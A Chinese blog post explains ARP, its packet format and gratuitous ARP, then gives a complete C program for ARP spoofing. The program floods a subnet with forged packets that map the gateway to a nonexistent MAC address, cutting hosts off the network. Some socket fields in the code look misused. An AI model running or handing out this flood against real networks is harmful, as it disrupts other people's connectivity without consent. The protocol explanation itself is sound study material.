淺談ARP協議以及應用


0. 前言

  本章主要簡單的介紹ARP的協議格式,主機如何發送和處理ARP報文,以及免費ARP。

1. ARP協議原理

  ARP,全稱Address Resolution Protocol,地址解析協議,在網絡中,有IP地址和MAC地址,在鏈路層發送報文時使用的是MAC硬件地址,這時需要將IP地址轉換為48bit MAC地址,這就會使用到ARP協議。

  如下,有兩台主機,239主機ping向238主機。當本地ARP緩存中沒有238主機對應的項時,會發起ARP廣播請求,之后使用arp命令查看ARP緩存,可以看到238主機對應的MAC,

  在linux下使用tcpdump工具查看底層數據流可以得知:

 

其序列圖以及ARP緩存如下:

在239主機查看arp緩存結果:

 

2. ARP協議格式

  下圖為ARP協議報文的格式信息(圖百度得來),這里如上例子,發送的ARP請求報文中,以太網源地址即為239主機,而以太網目的地址則為ff:ff:ff:ff:ff:ff,發送端以太網地址和IP地址為239主機,目的以太網地址為全0,目的IP地址為172.16.17.238

 

3. 免費ARP

  gratuitous ARP,主機發送查找自己的ARP地址,即主機發送的目的IP地址和發送端IP地址均為為自身,並且以太網源地址和目的以太網地址,發送端以太網地址均為自身的MAC地址,而以太網首部的以太網目的地址則為廣播ff:ff:ff:ff:ff:ff。

  這樣子有兩個作用,一個是查找是否有IP重復,二是更改同一網段下的主機ARP緩存對應的MAC地址。

  對於作用二,有幾個用途,可以被用作主備切換,即主機和備機共用一個VIP(Virtual IP),當在其它服務器ARP緩存中保存一個映射,VIP -> 主機MAC,當備機檢測到主機宕機后,則發送免費ARP,更新其他服務器ARP緩存,形成VIP -> 備機MAC映射,這樣就完成了簡單的災備。

  例外一個之一用途就是ARP欺騙,數據竊聽等。

4. ARP欺騙

  原理是利用ARP來實現。可以利用為攻擊主機或者路由器等,使得其不能上網之類的,網絡執法官原理就是這樣。下面的程序實現了一個簡單的免費ARP,更改同一網段(172.16.17.*)下主機ARP緩存中網關的映射,將其緩存映射為一個不存在的MAC地址。

  下面程序使用C實現,利用socket創建AF_PACKET來類型的套接字來直接操作鏈路層數據。已在公司的內部網絡中測試過。

#include <sys/socket.h>
#include <sys/types.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <linux/if_ether.h>
#include <string.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <net/if.h>
#include <errno.h>

#define HARD_TYPE_ETHER    0x01    //硬件類型
#define PROTOCOL_IP        0x01     //IP協議類型
#define MAC_ADDR_LEN    0x06    //硬件地址長度
#define IP_ADDR_LEN        0x04     //IP地址長度

#define ARP_OP_REQUEST    0x01    //ARP請求操作
#define ARP_OP_RESPONSE    0x02     //ARP響應操作

//ARP報文
typedef struct arpPkg
{
    unsigned short sHardType;      //硬件類型
    unsigned short sProtocolType;  //協議類型
    unsigned char cHardAddrLen;    //硬件地址長度
    unsigned char cIpAddrLen;      //映射的協議地址長度
    unsigned short sOpType;        //操作類型

    unsigned char aSendMac[6];     //發送者MAC地址
    unsigned char aSendIP[4];      //發送者IP地址
    unsigned char aDstMac[6];      //目的地MAC地址
    unsigned char aDstIP[4];       //目的地IP地址
} ArpPkg;

//將本機字節序轉換為網絡字節序
//並返回偏移長度
int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen)
{
    int i, j;
    for (i = nLen - 1, j = 0; i >= 0; --i, j++)
    {
        pNet[j] = aHostByte[i];
    }

    return j;
}

static int GetHex( char cAsc )
{
    if ( isdigit( cAsc ) )
        return cAsc - '0';

    if ( isalpha( cAsc ) )
        cAsc = tolower( cAsc ) - 'a';

    return cAsc + 10;
}

//將Asc轉換為Hex
int AscToHex( const char *pAsc, char *pHex, int *pHexLen )
{
    int i, nHexLen;
    int nAscLen = strlen( pAsc );

    for ( i = 0, nHexLen = 0; i < nAscLen; i += 2 )
    {
        pHex[nHexLen++] = (GetHex( pAsc[i] ) << 4) | (GetHex( pAsc[i + 1] ) & 0xF); //高字節 | 低字節
    }
    *pHexLen = nHexLen;

    return 0;
}

//字符串轉為HEX后再轉為網絡字節序
int AscToNetByte(char *pAsc, unsigned char *pNetByte)
{
    unsigned char aHostByte[7];
    int nHostByteLen = sizeof(aHostByte);
    AscToHex(pAsc, (char *)aHostByte, &nHostByteLen);

    return HostToNetByte(pNetByte, aHostByte, nHostByteLen);
}


//組Arp報文,並返回報文長度
int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg)
{
    int nPos = 0;

    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, 2);
    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, 2);
    pPkg[nPos++] = pArpPkg->cHardAddrLen;
    pPkg[nPos++] = pArpPkg->cIpAddrLen;
    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, 2);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, 6);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, 4);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, 6);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, 4);

    return nPos;
}

//初始化ARP公共信息
static void InitArpCommField(ArpPkg * pArpPkg, int nOpType)
{
    pArpPkg->sHardType = HARD_TYPE_ETHER;    //以太網類型
    pArpPkg->sProtocolType = ETH_P_IP;        //IP數據包協議
    pArpPkg->cHardAddrLen = MAC_ADDR_LEN;
    pArpPkg->cIpAddrLen = IP_ADDR_LEN;
    pArpPkg->sOpType = nOpType;
}


//組ARP請求報文
int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr)
{
    ArpPkg stArpPkg;
    memset(&stArpPkg, 0, sizeof(ArpPkg));

    InitArpCommField(&stArpPkg, ARP_OP_REQUEST);

    AscToNetByte(pSendMacStr, stArpPkg.aSendMac);
    AscToNetByte(pSendIpStr, stArpPkg.aSendIP);
    AscToNetByte(pDstMacStr, stArpPkg.aDstMac);
    AscToNetByte(pDstIpStr, stArpPkg.aDstIP);

    return BuildArpPkg(&stArpPkg, pPkg);
}


int main(int argc, char const *argv[])
{
    char *pMac = "ffffffffffff";        //目的MAC   廣播
    char *pDstIP = "AC1011FE";            //目的IP     172.16.17.254
    char *pTrickMac = "000000000000";    //偽裝的MAC
    char *pTrickIP = "AC1011FE";        //偽裝的IP,172.16.17.254
    unsigned char aMacByte[7];
    int nFd = socket(AF_PACKET, SOCK_DGRAM, 0);

    //初始化鏈路地址信息
    struct sockaddr_ll sockaddr;
    memset(&sockaddr, 0, sizeof(struct sockaddr_ll));
    sockaddr.sll_family = htons(AF_PACKET);
    sockaddr.sll_protocol = htons(ETH_P_ARP);
    sockaddr.sll_halen = htons(6);
    AscToNetByte(pTrickMac, aMacByte);
    memcpy(sockaddr.sll_addr, aMacByte, 6);
    sockaddr.sll_ifindex = IFF_BROADCAST;    //廣播

    //創建免費ARP請求報文
    unsigned char aPkg[64] = {0};
    int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP);

    //不間斷發送ARP請求
    while (1)
    {
        int nRet = sendto(nFd, aPkg, nPkgLen, 0, (struct sockaddr *)&sockaddr, sizeof(sockaddr));
        if (nRet == -1)
        {
            perror("Error");
            exit(-1);
        }
        usleep(100);
    }

    close(nFd);
    return 0;
}

 

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM